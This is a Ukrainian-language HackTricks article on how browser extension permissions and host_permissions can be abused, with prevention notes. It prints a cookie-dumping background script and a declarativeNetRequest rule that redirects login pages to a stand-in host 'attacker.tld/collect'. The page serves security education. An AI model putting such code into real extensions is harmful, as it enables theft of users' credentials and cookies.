BrowExt - permissions & host_permissions

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

permissions

Права доступу визначаються в розширенні manifest.json файлі за допомогою властивості permissions і дозволяють доступ майже до всього, до чого може звертатися браузер (Cookies or Physical Storage):

Попередній manifest зазначає, що розширенню потрібен дозвіл storage. Це означає, що воно може використовувати the storage API для постійного збереження своїх даних. На відміну від cookies або API localStorage, які дають користувачам певний рівень контролю, сховище розширення зазвичай можна очистити тільки шляхом видалення розширення.

Розширення запитуватиме дозволи, вказані у його manifest.json файлі. Після встановлення розширення ви завжди можете перевірити його дозволи у вашому браузері, як показано на цьому зображенні:

Ви можете знайти повний перелік дозволів, які може запитати Chromium Browser Extension та повний перелік для Firefox extensions.

host_permissions

Опційна, але потужна настройка host_permissions вказує, з якими хостами розширення зможе взаємодіяти через API, такі як cookies, webRequest, і tabs.

Наступні host_permissions фактично дозволяють доступ до всіх веб-сайтів:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Це хости, до яких розширення браузера має вільний доступ. Це тому, що коли розширення браузера викликає fetch("https://gmail.com/"), воно не обмежується CORS.

Зловживання permissions та host_permissions

Cookies

Дозвіл cookies дозволяє розширенню отримувати доступ до всіх cookies браузера. У this blog post цей дозвіл було зловжито через vulnerable backdound script, щоб використати розширення браузера й надати нападникові всі cookies браузера користувача, який перейшов на шкідливу веб-сторінку. Вразливий код просто повертав усі cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Вкладки

Крім того, host_permissions також відкривають доступ до «розширеної» tabs API функціональності. Вони дозволяють розширенню викликати tabs.query() і не лише отримати список вкладок браузера користувача, а й дізнатися, яка веб‑сторінка (тобто адреса і заголовок) завантажена.

Caution

Не тільки це — слухачі, як-от tabs.onUpdated також стають значно кориснішими. Вони отримують повідомлення щоразу, коли в вкладку завантажується нова сторінка.

Запуск content scripts

content scripts не обов’язково мають бути статично вказані в manifest розширення. За наявності достатніх host_permissions, розширення також можуть завантажувати їх динамічно, викликаючи tabs.executeScript() або scripting.executeScript().

Обидва API дозволяють виконувати не лише файли, що містяться в розширенні як content scripts, але й довільний код. Перший дозволяє передавати JavaScript як рядок, тоді як другий очікує JavaScript‑функцію, що менш схильне до вразливостей ін’єкції. Проте обидва API можуть спричинити серйозні проблеми при неналежному використанні.

Caution

Окрім зазначених можливостей, content scripts можуть, наприклад, перехоплювати облікові дані, які вводяться на веб‑сторінках. Інший класичний спосіб зловживання — вставляти рекламу на кожному сайті. Також можливе додавання шахрайських повідомлень для підриву довіри до новинних сайтів. Нарешті, вони можуть маніпулювати банківськими сайтами, щоб перенаправляти перекази коштів.

Непримусові привілеї

Деякі привілеї розширень не потрібно оголошувати явно. Один приклад — tabs API: його базова функціональність доступна без жодних дозволів. Будь‑яке розширення може отримувати повідомлення про відкриття та закриття вкладок, але воно просто не знатиме, яким сайтам ці вкладки відповідають.

Здається надто нешкідливо? API tabs.create() трохи інше. Його можна використати, щоб створити нову вкладку, фактично так само, як window.open(), який може викликати будь‑який сайт. Проте, тоді як window.open() підпадає під дію блокувальника спливаючих вікон, tabs.create() — ні.

Caution

Розширення може створювати будь‑яку кількість вкладок коли завгодно.

Якщо переглянути можливі параметри tabs.create(), помітите, що його можливості значно перевищують те, що дозволено контролювати window.open(). І хоча Firefox не дозволяє використовувати data: URI з цим API, Chrome не має такого захисту. Використання таких URI на верхньому рівні було заборонено через зловживання для фішингу.

tabs.update() дуже схожий на tabs.create(), але змінює існуючу вкладку. Тож зловмисне розширення може, наприклад, довільно завантажити рекламну сторінку в одну з ваших вкладок і також активувати відповідну вкладку.

Камера, геолокація та інші

Ви, мабуть, знаєте, що веб‑сайти можуть запитувати спеціальні дозволи, наприклад, для доступу до вашої камери (інструменти відеоконференцій) або географічного місця розташування (карти). Це функції з великим потенціалом для зловживань, тому користувачі щоразу мають підтверджувати, що вони дійсно хочуть цього.

Caution

Не так із розширеннями браузера. Якщо браузерне розширення хоче доступ до вашої камери або мікрофона, йому потрібно попросити дозвіл лише один раз

Зазвичай розширення робить це відразу після встановлення. Після прийняття цього запиту доступ до камери можливий у будь‑який час, навіть якщо користувач у цей момент не взаємодіє з розширенням. Так, користувач погодиться на цей запит лише якщо розширенню справді потрібен доступ до камери. Але після цього йому доводиться довіряти розширенню, що воно не буде таємно записувати.

Для доступу до вашого точного географічного положення або вмісту буфера обміну явне надання дозволу взагалі не потрібне. Розширення просто додає geolocation або clipboard до permissions entry свого manifest. Ці права доступу потім надаються неявно під час встановлення розширення. Отже зловмисне або скомпрометоване розширення з цими привілеями може створити ваш профіль переміщень або відстежувати буфер обміну на предмет скопійованих паролів, і ви нічого не помітите.

Додавання ключового слова history до permissions entry manifest розширення надає доступ до history API. Воно дозволяє отримати повну історію переглядів користувача за один раз, не чекаючи, поки користувач знову відвідає ці сайти.

Права bookmarks мають схожий потенціал для зловживань — вони дозволяють зчитувати всі закладки через bookmarks API.

Дозвіл на сховище

Сховище розширення — це просто колекція ключ‑значення, дуже схожа на localStorage, яку міг би використовувати будь‑який веб‑сайт. Тому тут не слід зберігати чутливу інформацію.

Однак рекламні компанії також можуть зловживати цим сховищем.

Більше дозволів

Manifest V3 розділив доступ до сторінок і дозволів API: permissions все ще керує привілейованими API (cookies, tabs, history, scripting тощо), тоді як host_permissions контролює, які origin ці API можуть торкатися. MV3 також зробив host permissions доступними для надання під час виконання, тож розширення можуть постачатися без них і пізніше викликати запит згоди через chrome.permissions.request() — зручно для легітимних сценаріїв найменших привілеїв, але також використовується malware для ескалації після набуття репутації.

Стелс‑варіант — declarativeNetRequestWithHostAccess (Chrome ≥96). Він надає ту саму здатність блокувати/перенаправляти запити, що й declarativeNetRequest, але показує слабший запит при встановленні, ніж дозволи хостів <all_urls>. Зловмисні розширення використовують це, щоб непомітно отримати можливість «блокувати/перенаправляти на будь‑якому сайті»; перевіряйте підказки через chrome://extensions/?errors та chrome://extensions/?id=<id>.

Динамічні правила declarativeNetRequest дозволяють розширенню перепрограмовувати мережеву політику під час виконання. З доступом до <all_urls> атакуючий може озброїти це, щоб перехоплювати трафік або ексфільтрувати дані. Наприклад:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome підвищив ліміти правил MV3 (≈330k static / 30k dynamic), тому великі набори покриття можливі для interception/ads injection.

Останні шаблони зловживань

  • Supply-chain trojanized updates: Вкрадені облікові записи розробників проштовхують MV3-оновлення, які додають <all_urls> плюс declarativeNetRequest/scripting/webRequest для інжекції remote JS та витягування headers/DOM content.
  • Wallet drains: Host access плюс storage і tabs дозволяють зловмисно модифікованим wallet-розширенням exfiltrate seeds; вкрадені Web Store API keys використовувалися для доставки шкідливих збірок.
  • Cookie theft: Будь-яке розширення з cookies + широким доступом до хостів може читати auth cookies попри HttpOnly — вважайте цю комбінацію здатною викрадати облікові дані.

Prevention

Політика розробників Google явно забороняє розширенням запитувати більше привілеїв, ніж необхідно для їхньої функціональності, що фактично зменшує ризик надмірних запитів дозволів. Приклад, коли браузерне розширення перевищило ці межі, мав місце при його поширенні разом із браузером, а не через add-on store.

Браузери могли б додатково обмежити зловживання привілеями розширень. Наприклад, Chrome’s tabCapture і desktopCapture APIs, що використовуються для запису екрану, спроєктовані з метою мінімізації зловживань. tabCapture API можна активувати лише через безпосередню взаємодію користувача, наприклад кліком по іконці розширення, у той час як desktopCapture вимагає підтвердження користувача для запису вікна, що перешкоджає прихованим записам.

Однак посилення заходів безпеки часто призводить до зниження гнучкості та зручності використання розширень. Приклад цієї компромісу — activeTab permission. Він був введений, щоб усунути необхідність у запиті хост-привілеїв по всьому інтернету, дозволяючи розширенням отримувати доступ лише до поточної вкладки після явної активації користувачем. Така модель ефективна для розширень, які вимагають дій, ініційованих користувачем, але не підходить для тих, кому потрібні автоматичні або превентивні дії, тим самим поступаючись зручністю та миттєвою реакцією.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks